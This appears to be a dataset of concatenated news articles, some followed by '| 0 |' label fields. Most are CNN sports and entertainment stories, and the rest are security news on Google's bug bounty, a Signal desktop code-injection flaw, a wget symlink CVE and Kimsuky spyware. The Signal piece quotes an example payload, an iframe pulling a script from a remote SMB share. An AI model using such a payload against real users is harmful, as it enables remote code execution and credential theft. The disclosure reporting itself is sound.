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Story highlightsIf you've visited New York City recently, you've probably walked around Times Square along with thousands of othersIn the 1980s, it wasn't safe to stroll around what was called "the sleaziest block in America"Today, there are more than 100,000 pedestrians on 42nd Street on a given day (CNN)In the 1980s, New York City's Times Square wasn't so much the "Crossroads of the World" as it was the wrong side of the tracks. The sex market and drug trade thrived in the area, and homeless encampments dotted its streets. Many local theaters -- once legitimate operations showcasing the performances of renowned actors like Lionel Barrymore -- had become home to peep shows and porn movies. Crime rates soared.In 1981, Rolling Stone magazine called West 42nd Street, located in the heart of Times Square, the "sleaziest block in America." Tim Tompkins, president of the Times Square Alliance, said the area was then -- and has always been -- representative of what was working or not working in New York City as a whole. Read More"Throughout New York City, crime was a huge issue that was making people stay away, and despite the incredible assets of New York, that overshadowed everything else," Tompkins said. "And here [in Times Square] you had a place that had all the Broadway theaters, the greatest concentration of live entertainment, and none of those positive things could be seen or were overshadowed by how dangerous the city was. "Times Square was this symbol of whether the government had either the will or the capacity to make a city safe."As the decade drew to a close, it became apparent that the will (at least as far as Times Square was concerned) was definitely there. New York City and state governments joined forces to try to revitalize and reinvent Times Square, and Tompkins said they employed just about every economic development tool that had been used in the last century -- from tax breaks and zoning laws to a law requiring property owners to put advertising on their buildings.In 1990, the city established The New 42nd Street, a nonprofit dedicated to the revitalization of 42nd Street between 7th and 8th Avenues -- arguably Times Square's most dangerous and seedy area. Cora Cahan, a native New Yorker and president of The New 42nd Street, said her organization had the challenge of finding new uses for the old theaters on the block -- no small task considering the neighborhood's nefarious reputation. "This street was sex shops and paraphernalia shops and triple X porn shops," Cahan said. "It was the kind of street that people told their kids to stay away from."By 1995, however, the group had reopened the street's least desirable theater as the New Victory Theater, the city's first theater catering solely to children and families. "We found people pushing strollers rather than pushing drugs on the street," Cahan said.Now, according to The New 42nd Street, there are more than 100,000 pedestrians on the street on a given day, and 5,000 legitimate theater seats in use. The number of visitors to Times Square increased by 22.1 million between 2000 and 2015, NYC & Company reports. In fact, the revitalization of Times Square has been so successful, it led to the evolution of another major street -- Broadway. In 2009, the city closed parts of Broadway in Times Square to traffic, turning it into a major pedestrian thoroughfare. "Broadway's transformation into a place that is a public space for pedestrians is also a sign of how Times Square came back and there was a need to accommodate all of the people who were coming into Times Square," Tompkins said. "The problem used to be that you couldn't get through Times Square without getting mugged or killed, and then by the 2000s, the problem was you couldn't get through Times Square because it was so crowded."
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Story highlightsVonn will race in women's Downhill race on February 21She faced backlash online after competing in Saturday's super-G raceVonn spoke out against Donald Trump in a 2017 CNN interview (CNN)Trolled on social media, Lindsey Vonn has a message for the people targeting her online -- they haven't "won."The US skier has been intermittently abused on social media after she told CNN in an interview in December that she wouldn't visit the White House should she win a medal at the Winter Olympics in Pyeongchang.The abuse ratcheted up on Saturday after Vonn tied sixth in the women's Super-G.Follow @cnnsport
"That's what bullies want you to do. I stand by my values, I'm not going to back down," the 33-year-old American told reporters as she prepared for the women's downhill race on February 21 at PyeongChang 2018.After speaking to CNN in December, Vonn faced a stream of online abuse with some people saying they hope she'd break her neck.Read More"I may not be as vocal right now with my opinions, but that doesn't mean that they won. I haven't changed my mind," said Vonn, who along with Italian Sofia Goggia is one of the favorites to win the downhill."Of course there are going to be people that hate me," added Vonn, who revealed she was limiting her exposure to social media before racing. "I may post something but I don't look at anything."READ: I won't be representing US President at OlympicsLindsey Vonn training for the women's downhill which takes place on Wednesday.As an added defense mechanism, Vonn also reminds herself where the comments are coming from: behind a computer."They're going to say anything. At some point you have to laugh and say 'This is just completely ridiculous.'""I'm having a good time, that I'm enjoying being at the Olympics. My family's here. They love me." It hasn't been the easiest of ❄️ @olympics for 🇺🇸 skier @lindseyvonn After failing to make the podium in Saturday's super-G she was then trolled on social media. The abuse has been intermittent since she told @cnni in December she wouldn't visit the White House should she win a medal in Pyeongchang. The sketch of Vonn is by @channeldraw #winterolympics #pyeongchang2018 #skiing #alpineskiing #lindseyvonn #athlete #performance #art🎨 #artistsoninstagram #sketching #usa A post shared by CNNSport (@cnnsport) on Feb 19, 2018 at 4:11am PST Strategic training ahead of the downhillIn Monday's practice run, however, trolls were the least of the 33-year-old American's worries: with all attention focused on the downhill track at the Jeongseon Alpine Centre in South Korea. The four-time world champion took a strategic approach to her training ahead of Wednesday's women's downhill race, which will probably be Vonn's best chance of Olympic gold in Pyeongchang."I'm not looking to do anything special here in the training runs, I just want to get a feeling for the line," said Vonn, who stressed she hadn't been pushing herself very hard.While the race will be her last Olympic downhill, Vonn says she can't get too sentimental until the race is over."I think maybe I pushed maybe a smidge more yesterday because there was talk of only having two training runs, but once they confirmed that there would be three and we would race as planned on Wednesday, then I backed off a bit and focused more on the line."READ: Vonn's Olympic dreams dashedWhile Vonn said she's happy with the way she performed, she admitted she didn't ski the top section well -- costing her important time.One of the favorites for the women's downhill, Vonn focused on her line rather than speed in Monday's training.Vonn also plans to analyze the way Goggia has been negotiating the downhill course."I was watching Sofia's run and she skied a little bit of a different line than I did in a couple of sections, so I'm going to look at that tonight and do some analyzing and see what's actually faster."'I can't get too sentimental right now'With Wednesday's race being the American alpine skier's last Olympic downhill, Vonn said she can't get caught up reflecting."I still have to be focused," she said. Photos: Winter Olympics: Monday, February 19Gigi Marvin, top right, celebrates with her American teammates after scoring the opening goal against Finland. Team USA won 5-0 to advance to the final.Hide Caption 1 of 18 Photos: Winter Olympics: Monday, February 19German ski jumper Stephan Leyhe competes in the team event. Germany won the silver. Norway finished in first.Hide Caption 2 of 18 Photos: Winter Olympics: Monday, February 19German bobsledders Francesco Friedrich and Thorsten Margis, right, react as they watch the final run by Canada's Justin Kripps and Alexander Kopacz. The two teams will share the gold after finishing with the exact time over four runs.Hide Caption 3 of 18 Photos: Winter Olympics: Monday, February 19Team Canada celebrates after scoring a semifinal goal against the Olympic Athletes from Russia. Canada won 5-0 and will be in the gold-medal game once again.Hide Caption 4 of 18 Photos: Winter Olympics: Monday, February 19A Japan supporter watches the ski jumping competition.Hide Caption 5 of 18 Photos: Winter Olympics: Monday, February 19Colombian speedskater Pedro Causil, right, competes in the 500 meters.Hide Caption 6 of 18 Photos: Winter Olympics: Monday, February 19American Becca Hamilton delivers a stone during a round-robin curling match.Hide Caption 7 of 18 Photos: Winter Olympics: Monday, February 19Austrian ski jumper Gregor Schlierenzauer lands during the team event.Hide Caption 8 of 18 Photos: Winter Olympics: Monday, February 19Canadian ice dancers Tessa Virtue and Scott Moir broke their own world-record score to take the lead after day one of the Olympic ice dancing competition. The duo won gold in 2010 and silver in 2014.Hide Caption 9 of 18 Photos: Winter Olympics: Monday, February 19US skier Lindsey Vonn makes a face after completing a downhill training run.Hide Caption 10 of 18 Photos: Winter Olympics: Monday, February 19Americans Maia Shibutani and Alex Shibutani are in fourth place after Monday's short dance.Hide Caption 11 of 18 Photos: Winter Olympics: Monday, February 19Japan's Chinami Yoshida throws a stone during a curling match against Canada.Hide Caption 12 of 18 Photos: Winter Olympics: Monday, February 19Canadian snowboarder Brooke Voigt competes in the big-air event.Hide Caption 13 of 18 Photos: Winter Olympics: Monday, February 19Finland's Ronja Savolainen, right, collides with American Meghan Duggan during their hockey semifinal.Hide Caption 14 of 18 Photos: Winter Olympics: Monday, February 19British duo Penny Coomes and Nicholas Buckland compete in the ice dancing.Hide Caption 15 of 18 Photos: Winter Olympics: Monday, February 19Czech snowboarder Katerina Vojackova crashes during the big-air competition.Hide Caption 16 of 18 Photos: Winter Olympics: Monday, February 19South Korea's Yura Min and Alexander Gamelin skate together in the ice dancing.Hide Caption 17 of 18 Photos: Winter Olympics: Monday, February 19Slovakia's Klaudia Medlova competes in the big-air event.Hide Caption 18 of 18"Just focus on the moment; the right here and the right now. I think later I'll reflect on how much I enjoyed it and how much my teammates made it special." | 0 |
Story highlightsLi Na defeated in first round of French Open by unseeded Kristina MladenovicWorld No. 2 and 2011 champion from China defeated in three sets 7-5 3-6 6-1Caroline Wozniacki ousted in first match since split with golfer Rory McIlroyDavid Ferrer and Andy Murray through to second round in men's drawAustralian Open champion Li Na fell at the first hurdle of the French Open Tuesday as she was defeated by the unseeded Kristina Mladenovic of France 7-5, 3-6, 6-1.The world No. 2's early exit follows that of men's Australian Open champion Stanislas Wawrinka, who lost Monday to Spanish outsider Guillermo Garcia-Lopez.For Mladenovic, the victory marked just the fifth match she has won this year.The 21-year-old won the girls title in Paris in 2009 but has struggled to replicate this success in the seniors and is currently ranked 103 in the world. "After the draw I wasn't very happy, but I made sure I prepared as well as I could and was ready to play my best tennis," Mladenovic said in her post-match interview on Suzanne Lenglen. "When I got on court, I thought, 'I'm at home, be positive.'JUST WATCHEDTeen sensation with the X factorReplayMore Videos ...MUST WATCHTeen sensation with the X factor 04:02JUST WATCHEDHingis grooms future champsReplayMore Videos ...MUST WATCHHingis grooms future champs 04:38JUST WATCHEDSharapova's love affair with ParisReplayMore Videos ...MUST WATCHSharapova's love affair with Paris 01:53"I tried to get my forehand into play and attack her forehand whenever I could and it worked well. I'm really glad I could produce such good tennis in front of all these supporters."Li, a French Open winner in 2011, committed 37 unforced errors compared to her opponent's 25 and surrendered meekly in the final set.Her defeat marks the first time a ladies Australian Open winner has lost in the first round of the French since Lindsey Davenport in the year 2000.Unsurprisingly, Li cut a dejected figure in her post-match press conference, telling reporters: "Nobody says if you're number two in the world you have to win all the matches. I mean, this is tennis."I think it doesn't matter who plays today against me, I always lose because I don't think I put pressure on her. I think today I gave away the match. I think today is not about tennis, so many things are wrong."Elsewhere on Tuesday, Denmark's Caroline Wozniacki was eliminated 7-6, 6-4, 6-2 in the opening round by Belgium's Yanina Wickmayer.The 13th seed, whose engagement to golfer Rory McIlroy was broken off last week, has only once advanced past round three in Paris -- in 2010.Fourth seed Simona Halep, from Romania, cruised past Russian opponent Alisa Kleybanova 6-0, 6-2 in just 55 minutes and will now face Britain's Heather Watson who overcame Barbora Zahlavova Strycova, from the Czech Republic.JUST WATCHEDFrench Open outsider's meteoric riseReplayMore Videos ...MUST WATCHFrench Open outsider's meteoric rise 01:10JUST WATCHEDSerena defends French Open titleReplayMore Videos ...MUST WATCHSerena defends French Open title 01:37JUST WATCHEDYannick Noah's unforgettable momentReplayMore Videos ...MUST WATCHYannick Noah's unforgettable moment 05:46Serbian No. 6 seed Jelena Jankovic and compatriot Ana Ivanovic -- the 2008 winner -- both secured second round berths, as did 21-year-old American Sloane Stephens.In the men's draw, fourth seed David Ferrer, from Spain, made light work of his opening encounter, dispatching Dutchman Igor Sijsling 6-4, 6-3, 6-1. Andy Murray, the reigning Wimbledon champion, took four sets to see off the challenge of Andrey Golubev from Kazakhstan, 6-1, 6-4, 3-6, 6-3.Murray has been trying to rediscover his best form after back surgery last year and he told the tournament's official website: "I've been moving fairly well the last couple of weeks."It was windy, especially at the start. You want to dictate as many points as you can but when it's breezy, it's tricky to stick to your tactics. I didn't go for my shots too much. I just tried to be patient."Murray has been without a coach since parting with Ivan Lendl earlier this year, but he joked that he is finding it hard to appoint a successor."Have I found a coach? Hopefully soon. I'm trying but not many people want to work with me so it's not that easy," he added.Gregor Dimitrov, the No. 11 seed from Bulgaria, was dumped out by Croatian veteran Ivan Karlovic, who won his first match at the French Open since 2007.There were also wins for France's No. 12 seed Richard Gasquet over Bernard Tomic, of Australia, and his compatriot Gael Monfils.See also: Wawrinka sent packing in ParisSee also: Does Paris need invincible Nadal? | 0 |
Story highlightsOwen Hargreaves experienced in penalty shootoutsNever missed a penalty in a competitive match (CNN)Owen Hargreaves is the only man to have played for England without having previously lived in the country. He is one of only two English players to have won the UEFA Champions League with a non-English club. When it comes to penalty shootouts, the former Bayern Munich and Manchester United midfielder is the perfect man to discuss what it takes. "It's the only time in football that the game stops," he tells CNN. "It's like golf, a field goal in the NFL, or a free throw in the NBA." "The action freezes, so there are a lot of mental aspects that go into that." Read MoreMental StrengthIn the 2006 World Cup, on a hot night in Gelsenkirchen, England's quarterfinal tie with Portugal went to penalties. Frank Lampard took the first England spot kick, and missed. In the 2008 Champions League final, on a somewhat colder night in Moscow, Hargreaves' United teammate Cristiano Ronaldo was the man to falter. Hargreaves, on both occasions, went next. Hargreaves, on both occasions, channeled all his mental strength to score. He explains in the video above what it takes to find the back of the net. | 0 |
Google raises Hackers bounties to $20,000
Google on Monday raised to $20,000 its bounty on software bugs that hackers could exploit for cyber attacks on the Internet giant's online services.
The maximum reward for exposing a vulnerability that would let an intruder's code get up to mischief in a Google data centre was ramped up from the $US3,133 ($A3,030) payout set when the bounty program was launched in November of 2010.
Remote code flaws found in Google's Web apps will also be rewarded $20,000.The term "remote code execution" refers to the most serious category of vulnerabilities, those which when exploited allow an attacker to hijack a system and/or plant malware on a machine.
A $10,000 bounty will be paid for SQL injection bugs or significant authentication bypass or data leak vulnerabilities, Google said in the revised rules for the program.
At Google's Pwnium contest in March, Google paid out $60,000 prizes to anyone that could exploit the Chrome browser. Two people managed to do so, and collected the money. Even at that rate, security researchers have made it clear the exploits would have been worth more if sold to malicious individuals. Google's $20,000 top payment is likely still far below the market rate.
The bounty was raised to inspire software savants to hunt for difficult-to-find, and potentially perilous, bugs hidden deep in programs
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For the second time in less than a week, users of the popular end-to-end encrypted Signal messaging app have to update their desktop applications once again to patch another severe code injection vulnerability.
Discovered Monday by the same team of security researchers, the newly discovered vulnerability poses the same threat as the previous one, allowing remote attackers to inject malicious code on the recipients' Signal desktop app just by sending them a message—without requiring any user interaction.
To understand more about the first code injection vulnerability (CVE-2018-10994), you can read our previous article covering how researchers find the Signal flaw and how it works.
The only difference between the two is that the previous flaw resides in the function that handles links shared in the chat, whereas the new vulnerability (CVE-2018-11101) exists in a different function that handles the validation of quoted messages, i.e., quoting a previous message in a reply.
In other words, to exploit the newly patched bug on vulnerable versions of Signal desktop app, all an attacker needs to do is send a malicious HTML/javascript code as a message to the victim, and then quote/reply to that same message with any random text.
If the victim receives this quoted message containing the malicious payload on its vulnerable Signal desktop app, it will automatically execute the payload, without requiring any user interaction.
Exploiting Signal Code Injection to Steal Plaintext Chats
Until now the proof-of-concept payloads used to demonstrate code injection vulnerabilities in Signal were limited to embedding an HTML iFrame, or image/video/audio tags onto the victim's desktop app.
However, researchers have now managed to craft a new PoC exploit that could allow remote attackers to successfully steal all Signal conversations of the victims in the plaintext just by sending them a message.
This hack literally defeats the purpose of an end-to-end encrypted messaging app, allowing remote attackers to easily get the hold on users' plain-text conversations without breaking the encryption.
Attackers Could Possibly Steal Windows Password As Well
What's worse?
In their blog post, the researchers also indicated that an attacker could even include files from a remote SMB share using an HTML iFrame, which can be abused to steal NTLMv2 hashed password for Windows users.
"In the Windows operative system, the CSP fails to prevent remote inclusion of resources via the SMB protocol. In this case, remote execution of JavaScript can be achieved by referencing the script in an SMB share as the source of an iframe tag, for example: <iframe src=\\DESKTOP-XXXXX\Temp\test.html> and then replying to it," the researchers explain.
Though they haven't claimed anything about this form of attack, I speculate that if an attacker can exploit code injection to force Windows OS to initiate an automatic authentication with the attacker-controlled SMB server using single sign-on, it would eventually hand over victim's username, and NTLMv2 hashed password to the attackers, potentially allowing them to gain access to the victim's system.
We have seen how the same attack technique was recently exploited using a vulnerability in Microsoft Outlook, disclosed last month.
I can not verify this claim at this moment, but we are in contact with few security researchers to confirm this.
Researchers—Iván Ariel Barrera Oro, Alfredo Ortega, Juliano Rizzo, and Matt Bryant—responsibly reported the vulnerability to Signal, and its developers have patched the vulnerability with the release of Signal desktop version 1.11.0 for Windows, macOS, and Linux users.
However, The Hacker News has learned that Signal developers had already identified this issue as part of a comprehensive fix to the first vulnerability before the researchers found it and reported them.
Signal app has an auto-update mechanism, so most users must have the update already installed. You can read this guide to ensure if you are running updated version of Signal.
And if you don't, you should immediately update your Signal for desktop as soon as possible, since now the vulnerability poses a severe risk of getting your secret conversations exposed in plaintext to attackers and further severe consequences.
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TV OT is a weekly look at what CNN's entertainment team is watching since too much television has us all working overtime. (CNN)And just like that, another chapter of "Sex and the City" is over. Simply put, this HBO Max revival — which was minus one Samantha and added a lot of new faces — has divided a fandom. (HBO Max, like CNN, is owned by WarnerMedia.)"And Just Like That..." was never going to please everyone. That's just how TV goes. But even those who still prefer to forget the existence of the much-panned films couldn't have predicted the pure volume of hot takes and chilly tweets that this show would inspire week after week. The loudest critics of the revival will say they've continued the 10-episode journey in the form of hate watching, tuning in weekly knowing that they'll be bothered by any number of characters or plot points. But I'd argue most have continued because of something stronger — Sunk Cost Streaming. "Sex and the City" loyalists have invested too much time, energy, tears and laughs to just walk away. We're in a committed relationship with Carrie and Co. And because we care, we can't help but wonder until the very end: Can they get it right?Read MoreEveryone's answer will be different, but in the end, here's my take on the best -- and not-so-best -- parts of "And Just Like That...": The bestAri Nicole Parker.Wonder(ful) women -- Part of me looks at characters like single realtor Seema Patel (Sarita Choudhury), fabulous Park Avenue mom Lisa Todd Wexley (Nicole Ari Parker) and professor Nya Wallace (Karen Pittman) with such sadness. In the original series, any of these women could have carried the meaty storylines of a main cast member season after season. It's a shame this New York City-set world waited so long to literally and figuratively invite women of color to take a seat at the high top, and having them debut in a season where many other storylines had to be served, I feel they were short-changed. Lisa was introduced in a scene in which she ate Carrie's leftover french fries, and I haven't been able to erase the visual from my mind since. This glamorous gazelle deserves a main course. In fact, I wouldn't mind continuing to see more of any of their journeys.Charlotte York Goldenblatt -- Of all the characters, Charlotte was by far the one who seemed like she'd actually lived through the last decade. Yes, she'd experienced it from her million-dollar home, but that's who she is. Every scene and every line of hers felt ripped from the original show -- none perhaps more so than the scene at Lisa's house when she took a long, impressive dive into the reasons her friend's art collection was an incredible investment, defending Lisa against her mother-in-law's criticisms. It was classic Charlotte -- smart, sweet, supportive when it matters, and yes, Carrie, a little smug. (Supportive Charlotte also shined through in the storyline involving her child's desire to explore their gender identity and be referred to by they/them pronouns.) More than anyone else on the show, Charlotte 2022 came across like that special person in your life who evolves but never changes, in the best way.How it handled grief -- The first episodes of "And Just Like That..." were by no means easy to watch. You can debate all day long whether they should have killed Big. (Honestly, considering the off-screen drama, the producers are probably happy they did.) But you can't question that Carrie's grief was portrayed raw and real. It served as a reminder that in the grand scheme of life, although Post-It note breakups sting, they are really just paper cuts compared to real pain. Che Diaz, the concept -- Miranda's love affair with Carrie's podcasting boss will go down in "SATC" history as one of the most polarizing storylines in the franchise. On paper, this could have been a real smash of a storyline: Miranda, in a marriage more dead than Big (sorry, Steve), explores a relationship with a bold, non-binary breath of fresh air. Wonderful! The problem, for me, was how they chose to bring this character to life. Which brings me to...The worstSarah Jessica Parker and Cynthia Nixon.Che Diaz, the character -- I'm not in a place to speak on behalf of any community of which I am not a part, so I will refrain from going too deep on some points here. But everything about Rock (Alexa Swinton), Charlotte and Harry's child, was handled with such grace, which is what made Che Diaz, who is nonbinary, an incredibly jarring presence. Che (Sara Ramirez), a self-described narcassist and so-called comedian, is in many ways the kind of toxic figure I've tried to steer my friends away from for a long time. The character triggered my friend radar -- beep, beep, this person sucks, beep, beep, retreat, save friend. When portraying any member of an underrepresented community, perfection is not the expectation, but there's a responsibility to make it count. When you don't see yourself on screen a lot -- where my fellow Latinx at? -- you want to feel like the portrayals mean something. On a platform as big as the "Sex and the City" franchise, it's hard to see Che as anything other than a gigantic missed opportunity at best and a giant middle finger at worst. Miranda Hobbes -- Miranda's greatest offense in this revival wasn't living her truth; it was not being truthful. I remember wondering mid-way through what I'd missed in the last 10 years that turned Miranda, the woman who respected a culture enough to learn Arabic before a trip to Abu Dhabi, into a person who doesn't respect her very decent husband enough to tell him the truth about where she's at emotionally. If Charlotte was the character equivalent of finding your favorite pair of designer heels still fit like a glove, Miranda is that pair of boots you find in the back of your closet that over time have become unrecognizable as something that you once liked. When Miranda called Carrie from a cab and declared, "I'm in a rom-com!," I paused the episode to cringe. "No, Miranda," I thought, "you're in a tragedy." She would have been better served as a vehicle for a story about true recovery from alcoholism than ... whatever this was.Brady Hobbes -- I know the subplot about Brady and his girlfriend's boundary-less sex life died off after the first few episodes, but I wish it never existed. It set a terrible tone for the series. Someone should have put this storyline on a Peloton. How they handled Samantha's absence -- We all know Kim Cattrall had no desire to take part in "And Just Like That...," which is a decision its producers had no choice but to respect and work with. They certainly tried their best, but the idea that the women's relationship fell apart over a petty dispute was the hardest pill to swallow. That, and who tells their grieving widow friend that you will talk to them "soon" when she asks to speak with you? Not the Samantha I know. Thankfully, we can imagine Carrie and Samantha mending fences in Paris, per the finale. The problem with that? If "And Just Like That..." has any plans for yet another chapter, there's no doing it without Samantha. (I won't hold my breath for her return.)The very bestKristin Davis, Sarah Jessica Parker and Cynthia Nixon.Sarah Jessica Parker, Kristin Davis and Cynthia Nixon -- Before watching every new episode of "And Just Like That...," I felt the same knots in my stomach that I get before getting on a roller coaster or walking down wet stairs in high heels. That doesn't happen if you aren't deeply invested in something. Like it or not, "Sex and the City" lovers, you haven't been hate watching -- you've been care watching. And we care because Parker, Davis and Nixon have embodied their characters so fully, so second-naturedly, that each woman and their life feels real. We're angry at Miranda, we wanted Carrie to pick up the phone faster to call an ambulance, we cringed when Charlotte made a shameful mistake at a dinner party. They are incredible talents who've told decades of story through three distinct pairs of eyes, and for that, we can't be anything but grateful. As we've learned, it's crucial to enjoy a ride while it is happening, because it can be over just like that. | 0 |
(CNN)It's the question that the top teams across Europe are asking themselves -- how can anybody stop Bayern Munich?The German giant is absolutely flying -- it has won all nine of its Bundesliga games, scoring 29 goals in the process.Bayern is already seven points clear of nearest challenge Borussia Dortmund and has won both of its games in this season's Champions League.On Tuesday, it plays Arsenal in London with the English club needing to win in order to remain in the competition.So, can Arsenal do what no other team has done so far this season and stop Bayern?Read MoreWhat's the deal with Bayern?Bayern has started this season in irrepressible fashion.Hamburg, Dortmund and Wolfsburg have all been hit for five goals, while fellow Champions League qualifier, Bayer Leverkusen, was beaten 3-0.One of the main reasons for Bayern's blistering start to the season has been its Polish striker Robert Lewandowski.The forward, who scored five goals in nine minutes during the 5-1 win over Wolfsburg, has scored 12 league goals this season -- and 15 in his past seven games in all competitions.Robert Lewandowski: Bayern Munich centurion breaks another recordIn his 22 appearances for club and country this season he has netted 22 goals -- including the strike which sent Poland through to next year's European Championship finals.He has only failed to score on four occasions so far this season.So if you stop Lewandowski, you can stop Bayern, right?Well, not quite. You see, there's another guy called Thomas Muller.Muller, whose wife, Lisa, is an aspiring show jumper as you can read about here, has been cantering up the goalscoring charts in recent weeks.The Germany international scored the winning goal in the 1-0 victory over Werder Bremen at the weekend to take his tally to nine in the league this season.Thomas Muller: From World Cup winner to 'director of carrots'If Arsenal do manage to keep Muller and Lewandowski quiet then they'll still have to deal Bayern's other stars.Arturo Vidal, the man who led Chile to Copa America glory, joined from Juventus at the end of last season and is one of the best midfielders in the game.Then there's Philipp Lahm, a World Cup winner with Germany, who keeps things ticking over along with Spanish duo Xabi Alonso and Thiago Alcantara in midfield.Jerome Boateng is a rock in defense and if you do get through on goal -- well, there's Manuel Neuer, arguably the best goalkeeper in the world, standing between you and the back of the net.So what are they saying?Arsene Wenger told reporters Monday that his team's defeats in the opening two games of the competition could have been down to complacency.But he's still confident his players will get themselves out of trouble when they face Bayern."We maybe could be a little suspected of not taking the first two games seriously enough but this time that is not the threat," he told a news conference."We're playing against one of the best teams in Europe," says #Pep as he reflects on the last game at the Emirates. pic.twitter.com/7sVs9zBwsu— FC Bayern English (@FCBayernEN) October 19, 2015
"Let's take the positives of our Premier League [form] and as well get the right focus that you get when you play a big opponent."We have some ground to make up in Europe as we have not been at our requested level in our first two games."Our focus has been much stronger in the Premier League than it has been in Europe and we know in this game the focus needs to be exactly the same than in the in Premier League.""They may have no points, but we know how strong they are," says Alonso. "They are a great team." pic.twitter.com/0lbO98ltsN— FC Bayern English (@FCBayernEN) October 19, 2015
Lahm, the Bayern captain, says his team will not allow Arsenal's poor start to the Champions League to distract it."They're a good team with good individuals, and they're showing their true colors in the league," Lahm told the club's official website."But they're under severe pressure in the Champions League. They need a result against us, but we're prepared for that. "Arsenal are always dangerous because they have real quality and very good, dynamic players in their ranks. And like us, they like to have the ball."London calling! @philipplahm: "I think we all have a lot of positives memories when it comes to London." #packmas pic.twitter.com/VPDlddUJ5Z— FC Bayern English (@FCBayernEN) October 19, 2015
Is there any hope for Arsenal?Well, it's funny you should ask that because if there's one team which knows how to qualify from the Champions League group stage, it's Arsenal.The club has qualified for the knockout phase in each of the past 15 seasons -- but defeat will more or less end its dreams of glory after just three games.Arsenal was knocked out of the competition by the German giant in 2013 and 2014 after losing the home legs on both occasions..@aaronramsey: "We will be looking to get the crowd back on our side with a win in this competition." #AFCvBAY pic.twitter.com/hCR56E9Ump— Arsenal FC (@Arsenal) October 19, 2015
It won in Munich in the second leg two years ago but exited on away goals after a 2-0 win meant Bayern progressed with the tie level at 3-3.Arsenal has been on a good run of form in the Premier League and has scored 11 goals in its past three games.It thrashed Leicester CIty 5-2 and defeated Manchester United 3-0 with all the goals coming inside the opening 20 minutes.On Saturday it won 3-0 at Watford to move up to second in the table. Regeneration @da_27 @_rl9 #FCB #Säbenerstr A video posted by @manuelneuer on Oct 18, 2015 at 9:25am PDT
Who can hurt Bayern?Arsenal will be looking towards their Chilean magician Alexis Sanchez to lead the charge.Sanchez, who has scored six league goals in his last three games, is on form after a slow start to the season.The 26-year-old is one of the top players in the Premier League and has become a sensation with his pace, strength and eye for the spectacular.Sanchez has been in terrific form for Arsenal in recent weeks Santi Cazorla, the central midfielder, has been in impressive form, while Mesut Ozil, the German World Cup winner, is another man Arsenal will hope can find a way past a miserly Bayern backline.The German team have yet to concede in this year's competition and has scored eight goals in its opening two fixtures.Wenger must decide whether to go with Theo Walcott in attack once again as he did against Watford or restore Olivier Giroud, the Frenchman, to the starting line up.So can Arsenal do it?After losing to Dinamo Zagreb and Olympiakos in its opening two group games, few are giving Arsenal a chance against a rampant Bayern.But Arsenal's league form has been encouraging in recent weeks -- with Sanchez and Ozil particularly impressive at the weekend.The return of goalkeeper Petr Cech, who missed the 3-2 defeat by Olympiakos, will give Arsenal an added boost.Only nine teams have ever progressed to the knockout phase of the competition after losing its first two group games.So there you go Arsenal -- it really is win or bust. Stop Bayern and keep the dream alive or become yet another mere statistic in Bayern's seemingly inevitable path to glory.Wenger on form: "We needed belief and confidence that we are doing something right, so that helps." #AFCvBAY— Arsenal FC (@Arsenal) October 19, 2015
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The open-source Wget application which is most widely used on Linux and Unix systems for retrieving files from the web has found vulnerable to a critical flaw.
GNU Wget is a command-line utility designed to retrieve files from the Web using HTTP, HTTPS, and FTP, the most widely used Internet protocols. Wget can be easily installed on any Unix-like system and has been ported to many environments, including Microsoft Windows, Mac OS X, OpenVMS, MorphOS and AmigaOS.
When a recursive directory fetch over FTP server as the target, it would let an attacker "create arbitrary files, directories or symbolic links" due to a symlink flaw.
IMPACT OF SYMLINK ATTACK
"It was found that wget was susceptible to a symlink attack which could create arbitrary files, directories or symbolic links and set their permissions when retrieving a directory recursively through FTP," developer Vasyl Kaigorodov wrote in a Red Hat Bugzilla comment.
A remote unauthenticated malicious FTP server connected to the victim via wget would allow attackers to do anything they wanted. Wget could download and create or overwrite existing files within the context of the user running wget.
The vulnerability was first reported to the GNU Wget project by HD Moore, chief research officer at Rapid7. and is publicly identified as CVE-2014-4877. The flaw is considered critical since wget is present on nearly every Linux server in the world, and is installable (although not by default) on OS X machines as well, so needs a patch as soon as possible.
PATCH AVAILABLE
"This flaw can lead to remote code execution through system-level vectors such as cron and user-level vectors such as bash profile files and SSH authorized_keys," Moore wrote.
The vulnerability has now been fixed by the Wget project in wget 1.16, which blocks the default setting that allowed the setting of local symlinks.
"Upgrade to wget version 1.16 or a package that has backported the CVE-2014-4877 patch," Moore said.
WORKAROUND AVAILABLE EXPLOIT
"This issue can be mitigated by ensuring that all invocations of wget in the mirror mode also specify --retr-symlinks command line option," wrote Tomas Hoger on the Bugzilla report. "Doing so is equivalent to applying the upstream commit linked in comment 14, which changes the default for the retr-symlinks options from off/no to on/yes, preventing creation of symbolic links locally."
"In addition to changing arguments in all scripts or programs that invoke wget, it is possible to enabled[sic] retr-symlinks option via wget configuration file - either global /etc/wgetrc, or user specific ~/.wgetrc - by adding the line: retr-symlinks=on"
An exploit for the vulnerability is now available on the open-source Metasploit penetration testing Website, so that security researchers could test the bug. You can download the exploit from here.
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A week after the US government issued an advisory about a "global intelligence gathering mission" operated by North Korean state-sponsored hackers, new findings have emerged about the threat group's spyware capabilities.
The APT — dubbed "Kimsuky" (aka Black Banshee or Thallium) and believed to be active as early as 2012 — has been now linked to as many as three hitherto undocumented malware, including an information stealer, a tool equipped with malware anti-analysis features, and a new server infrastructure with significant overlaps to its older espionage framework.
"The group has a rich and notorious history of offensive cyber operations around the world, including operations targeting South Korean think tanks, but over the past few years they have expanded their targeting to countries including the United States, Russia and various nations in Europe," Cybereason researchers said in an analysis yesterday.
Last week, the FBI and departments of Defense and Homeland Security jointly released a memo detailing Kimsuky's tactics, techniques, and procedures (TTPs).
Leveraging spear-phishing and social engineering tricks to gain the initial access into victim networks, the APT has been known to specifically target individuals identified as experts in various fields, think tanks, the cryptocurrency industry, and South Korean government entities, in addition to posing as journalists from South Korea to send emails embedded with BabyShark malware.
In recent months, Kimsuky has been attributed to a number of campaigns using coronavirus-themed email lures containing weaponized Word documents as their infection vector to gain a foothold on victim machines and launch malware attacks.
"Kimsuky focuses its intelligence collection activities on foreign policy and national security issues related to the Korean peninsula, nuclear policy, and sanctions," the Cybersecurity and Infrastructure Security Agency (CISA) said.
Now according to Cybereason, the threat actor has acquired new capabilities via a modular spyware suite called "KGH_SPY," allowing it to carry out reconnaissance of target networks, capture keystrokes, and steal sensitive information.
Besides this, the KGH_SPY backdoor can download secondary payloads from a command-and-control (C2) server, execute arbitrary commands via cmd.exe or PowerShell, and even harvest credentials from web browsers, Windows Credential Manager, WINSCP and mail clients.
